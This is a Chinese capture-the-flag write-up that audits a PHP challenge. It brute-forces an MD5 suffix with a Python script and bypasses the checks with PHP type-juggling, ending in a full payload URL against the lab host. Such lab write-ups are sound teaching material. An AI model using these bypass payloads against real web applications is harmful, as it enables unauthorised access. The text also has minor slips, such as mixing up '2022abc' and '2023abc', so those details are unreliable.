进入题目环境,检查页面内容,页面附有源代码:
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
$a = $_GET['a'];
$b = $_GET['b'];
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
?>
进行代码审计,将整体代码分开分别分析。
使用 $_GET 方法上传参数 $a 与 $b、$c,并进行判断来进行回显:
找到可以获取 flag 的关键代码进行审计:
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
审计得知,若要输出 $flag 的值,则需要 $key1 和 $ket2 均为True,即均大于零。
首先查看 $key1 大于零的条件:
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
代码首先对参数 a 进行判断,要求参数a的值大于 6000000 且 a的位数不超过3位,故可以使用科学计数法来给 参数a 赋值。 ?a= 1e9。
接着对参数 b 进行判断,若b存在 且 参数b的后六位 等于 字符串'8b184b' 的话,即赋值 $key1=1。
故编写 MD5破解脚本:
import hashlib
for i in range(100000):
x = str(i).encode() #将字符串转换为字节串,因为hashlib.md5()函数的参数必须为字节串
y = hashlib.md5(x) #进行md5加密编码
m = y.hexdigest() #以十六进制的格式返回编码数据
if(m[-6:] == "8b184b"): #若编码后六位等于字符串"8b184b",则代表爆破成功
print("爆破结果为:" + m)
break
print(i)
爆破结果如下:
成功获得 符合条件的b的值---53724。
查看 $key2 大于零的条件:
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
进行代码审计,引入了新的参数 $c:
第一个 if 判断语句:要求 $c 是一个数组,且 $c['m'] 的值不为数字 (is_numeric()函数判断),在 $c['m'] 的数据类型不为数字的同时还要求 $c['m'] 的键值大于 2022,需要用到 PHP 的弱语言特性。
PHP是一类典型的弱语言,在PHP代码中:
2023abc 与 2022 作比较时,会自动将 字符串类型的 '2022abc' 转换为 数字类型2023 来和 2022 进行比较。
故可以将 $c['m'] 赋值为 字符串 '2023abc'。
被嵌套的第二个 if 语句:$c['n'] 也为一个数组,所以 $c 是典型的 数组嵌套数组,在要求 $c['n'] 为一个数组的同时要求 $c['n'][0] 也为一个数组,所以 $c['n'] 中也嵌套一个数组。
最后利用 array_search()函数要求 $c['n'] 中可以匹配 字符串 'DGGJ',同时利用 foreach 要求 c['n'] 不存在字符串 'DGGJ',看似要求矛盾,实则依然利用PHP的弱语言特性。
若 $c['n'] 的键值包含数字0,当 数字0 和字符串'DGGJ'进行比较时,字符串'DGGJ'会自动被转换为数字零,以此可以达到目的。
所以 payload: c={"m":"2023abc","n":[[0,1],0]}。
所以最终的payload:http://61.147.171.105:53569/?a=1e9&b=53724&c={"m":"2023abc","n":[[0,1],0]}
成功获得 flag。